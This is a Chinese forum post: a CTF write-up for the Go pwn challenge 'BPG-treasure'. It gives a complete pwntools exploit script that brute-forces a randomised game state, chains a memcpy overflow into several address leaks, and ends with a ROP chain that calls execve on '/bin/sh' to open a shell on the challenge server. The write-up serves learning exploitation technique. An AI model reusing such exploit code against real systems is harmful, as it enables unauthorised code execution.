-
-
[原创]BPG-treasure WriteUp from W8C.Cossack人人
-
发表于: 2019-3-23 15:16 3165
-
脚本写的丑...各位大哥见谅
1 2 3 4 5 | rop = p64(proc_base + syscall_Syscall) rop + = p64(proc_base + add_rsp_ret) rop + = p64( 59 ) rop + = p64(libc_base + libc.search( "/bin/sh" ). next ()) rop + = p64( 0 ) * 3 |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 | from pwn import * from time import sleep #from ctypes import CDLL import sys,os #import cle context.arch = "amd64" status = sys.argv[ 1 ] elf = ELF( "./trepwn" ) libc = ELF( "./libc.so" ) host = "211.159.175.39" port = 8787 name_ptr = 0x489410 ret1 = 0xC820047CE0 padding = '0' * 0x30 cc = False fuck1 = False fuck2 = False fuck3 = False fuck4 = False fuck5 = False syscall_Syscall = 0x186600 add_rsp_ret = 0xd72f4 if status = = 'l' : io = process( "./trepwn" ) elif status = = 'r' : io = remote(host,port) else : info( "INVALID STATUS" ) exit() #ref_io = process("./trepwn") #base = int(os.popen("pmap {}| awk '{{print $1}}'".format(io.pid)).readlines()[3], 16) #info("REF.IO proc BASE -> %#x"%base) #callrand = CDLL('./call.so').call def mov(d): sleep( 0.1 ) io.sendlineafter( ")>>" ,d) def msg(data): io.sendlineafter( ">> " ,data) name = 'CCCC' io.sendlineafter( "Please input you name :\n" ,name) #rand = callrand() for i in range ( 5 ): mov( 'd' ) #rand = callrand() msg( '1' * 0x10 ) info( "Treasure 1 found" ) for i in range ( 5 ): mov( 'w' ) #rand = callrand() msg( '2' * 0x10 ) info( "Treasure 2 found" ) for i in range ( 5 ): mov( 'a' ) #rand = callrand() msg( '3' * 0x10 ) info( "Treasure 3 found" ) mov( 's' );mov( 'd' ) des1 = 'dsaw' des2 = 'sawd' def mov_brute(d): io.sendlineafter( ")>>" ,d) if "Cong" in io.recv( 0x13 ): info( "Treasure 4 found" ) if fuck1 and fuck2 = = False and fuck3 = = False and fuck4 = = False and fuck5 = = False : pwn2() elif fuck1 and fuck2 and fuck3 = = False and fuck4 = = False and fuck5 = = False : pwn3() elif fuck1 and fuck2 and fuck3 and fuck4 = = False and fuck5 = = False : pwn4() elif fuck1 and fuck2 and fuck3 and fuck4 and fuck5 = = False : pwn5() else : pwn() def loop(des): sleep( 0.1 ) for de in des1: for i in range ( 3 ): mov_brute(de) def looop(): cnt = 0 while True : loop(des1) cnt = cnt + 1 if (cnt % 20 = = 0 ): cod = io.recv( 4 ) info( "loop %d cod %s" % (cnt,cod)) def looop2(): cnt = 0 while True : loop(des2) cnt = cnt + 1 if (cnt % 10 = = 0 ): cod = io.recv( 4 ) info( "loop %d cod %s" % (cnt,cod)) def pwn(): global fuck1 payload = padding payload + = p64( 0x1 ) * 2 payload + = '\x00' * 0x80 payload + = '\xf8' msg(payload) io.recvuntil( 'message: ' ) global split_stack split_stack = u64(io.recv( 8 )) success( "SPLIT STACK BUF -> %#x" % split_stack) io.recvuntil( ': (' ) x = int (io.recv( 1 )) io.recv( 2 ) y = int (io.recv( 1 )) for i in range ( 4 - y): mov_brute( 'w' ) for i in range ( 4 - x): mov_brute( 'd' ) fuck1 = True looop2() def pwn2(): global fuck2 payload = padding payload + = p64( 0x1 ) * 2 payload + = '\x00' * 0x80 payload + = p64(split_stack + 0x60 ) msg(payload) io.recvuntil( 'message: ' ) global proc_base leak = u64(io.recv( 8 )) - 0xd8036 if (leak& 0xfff ) = = 0 : proc_base = leak elif (leak& 0xfff ) = = 0xfa1 : proc_base = leak + 0x5f else : proc_base = leak + 0xee success( "PROC BASE -> %#x" % proc_base) io.recvuntil( ': (' ) x = int (io.recv( 1 )) io.recv( 2 ) y = int (io.recv( 1 )) for i in range ( 4 - y): mov_brute( 'w' ) for i in range ( 4 - x): mov_brute( 'd' ) fuck2 = True looop2() def pwn3(): global fuck3 payload = padding payload + = p64( 0x1 ) * 2 payload + = '\x00' * 0x80 payload + = p64(proc_base + 0x474ef0 ) msg(payload) io.recvuntil( 'message: ' ) global libc_base libc_base = u64(io.recv( 8 )) - libc.sym[ 'free' ] success( "LIBC BASE -> %#x" % libc_base) io.recvuntil( ': (' ) x = int (io.recv( 1 )) io.recv( 2 ) y = int (io.recv( 1 )) for i in range ( 4 - y): mov_brute( 'w' ) for i in range ( 4 - x): mov_brute( 'd' ) fuck3 = True looop2() def pwn4(): global fuck4 payload = '\x00' * 0x30 payload + = p64( 0x1 ) * 2 payload + = '\x00' * 0x80 payload + = '\x18' msg(payload) io.recvuntil( 'message: ' ) global cache_stack cache_stack = u64(io.recv( 8 )) success( "CACHE STACK BUF -> %#x" % cache_stack) io.recvuntil( ': (' ) x = int (io.recv( 1 )) io.recv( 2 ) y = int (io.recv( 1 )) for i in range ( 4 - y): mov_brute( 'w' ) for i in range ( 4 - x): mov_brute( 'd' ) fuck4 = True looop2() def pwn5(): global base,libc_base #gdb.attach(io,'b * %d+0xd7980'%base) global fuck5 rop = p64(proc_base + syscall_Syscall) rop + = p64(proc_base + add_rsp_ret) rop + = p64( 59 ) rop + = p64(libc_base + libc.search( "/bin/sh" ). next ()) rop + = p64( 0 ) * 3 payload = '\x00' * 0x30 payload + = p64( 0x1 ) * 2 payload + = '\x00' * 0x80 payload + = p64(split_stack - 0xf8 + 0x38 ) payload + = p64( 0x30 ) * 2 payload + = p64( 0x0 ) * 3 payload + = p64( 0x1 ) + p64( 0xcb4 ) payload + = p64(cache_stack) payload + = p64( 0x1 ) + p64( 0x0 ) * 2 payload + = rop msg(payload) io.interactive() fuck5 = True looop() |
- 首先,你需要恢复一下符号表,于是你就可以发现如下内容
- 作者自写了
main
Game
walk
treasure
randtreasure
Joke
print
scan
println
memcpy
- 其他的逻辑都简单,关键是
Game
中walk
调用treasure
,treasure
又调用memcpy
;而walk
中有4个 treasure 等待被发现,其中 treasure 1 2 3 在固定地址 (5,0) (5,5) (0,5) , treasure 4 是通过randtreasure
随机分配位置 - 此处最坑爹的地方来了,一旦用户移动到了 treasure 4 的上下左右1格的位置,就会再次调用
randtreasure
,再把宝藏挪走到下一个随即地址; 而且!这个randtreasure
甚至重新生成随机种子...肥肠的变态 - 费尽千辛万苦挖到 treasure 4 后,会把用户的 message 通过
runtime.slicebytetostring
从 split stack 的一个类似于数据段的地方(对golang底层了解不深,只知道 split stack 中划分了许多不同的区域OTZ)移动到rsp+0x48
的地方
-
memcpy
未校验长度导致 treasure 4 留言溢出(原定0x30bytes)
- 原本想的是,修改栈上println的参数使得输出字节增加,后来发现在未leak时,slice 结构体的 len 和 cap 都在 slice 指针高地址处,无法覆写
- 后来借助 split stack 常规栈区最低字节不变的特性,直接修改 slice 指针低字节从而 leak 出 split stack rsp 附近值;再借此 leak 出返回地址,算出 proc_base (神奇的是,这竟然能 leak 出三种返回地址);再借助 proc_base leak 出 got 的 free 指针,从而得到 libc_base; 最后的最后,再 leak 一个栈区数据段(像是拓展指针存放的地方)的莫名其妙的指针,所有的 leak 工作就结束了
- 其实可以不 leak libc_base 的...毕竟 golang 静态编译,
syscall.Syscall
已经被编译进二进制文件了QAQ,最后才发现...
- 首先你要挖矿(笑),我是爆破的,概率性脚本(wtcl)
- 尝试了一下模拟随机过程,GG;又尝试了一下远程本地同时跑然后angr读本地进程内存,GG。
- 爆!
- 一波 leak 之后,直接伪造栈上数据,rop 调 syscall.Syscall 一发入魂
- 此处 rop 注意,用
add rsp,28h
代替push
即可12345rop
=
p64(proc_base
+
syscall_Syscall)
rop
+
=
p64(proc_base
+
add_rsp_ret)
rop
+
=
p64(
59
)
rop
+
=
p64(libc_base
+
libc.search(
"/bin/sh"
).
next
())
rop
+
=
p64(
0
)
*
3
- (而且golang的TCMalloc机制和ptmalloc差异很大,很容易出bug)
- 看了一下出题源码..unsafe nb..Mut3p1g nb
- 不过还是感谢出题人让我玩了一下go rop
main
Game
walk
treasure
randtreasure
Joke
print
scan
println
memcpy
Game
中 walk
调用 treasure
,treasure
又调用 memcpy
;而 walk
中有4个 treasure 等待被发现,其中 treasure 1 2 3 在固定地址 (5,0) (5,5) (0,5) , treasure 4 是通过 randtreasure
随机分配位置randtreasure
,再把宝藏挪走到下一个随即地址; 而且!这个 randtreasure
甚至重新生成随机种子...肥肠的变态runtime.slicebytetostring
从 split stack 的一个类似于数据段的地方(对golang底层了解不深,只知道 split stack 中划分了许多不同的区域OTZ)移动到 rsp+0x48
的地方
最后于 2019-3-28 15:57
被Cossack人人编辑
,原因:
赞赏
他的文章
赞赏
雪币:
留言: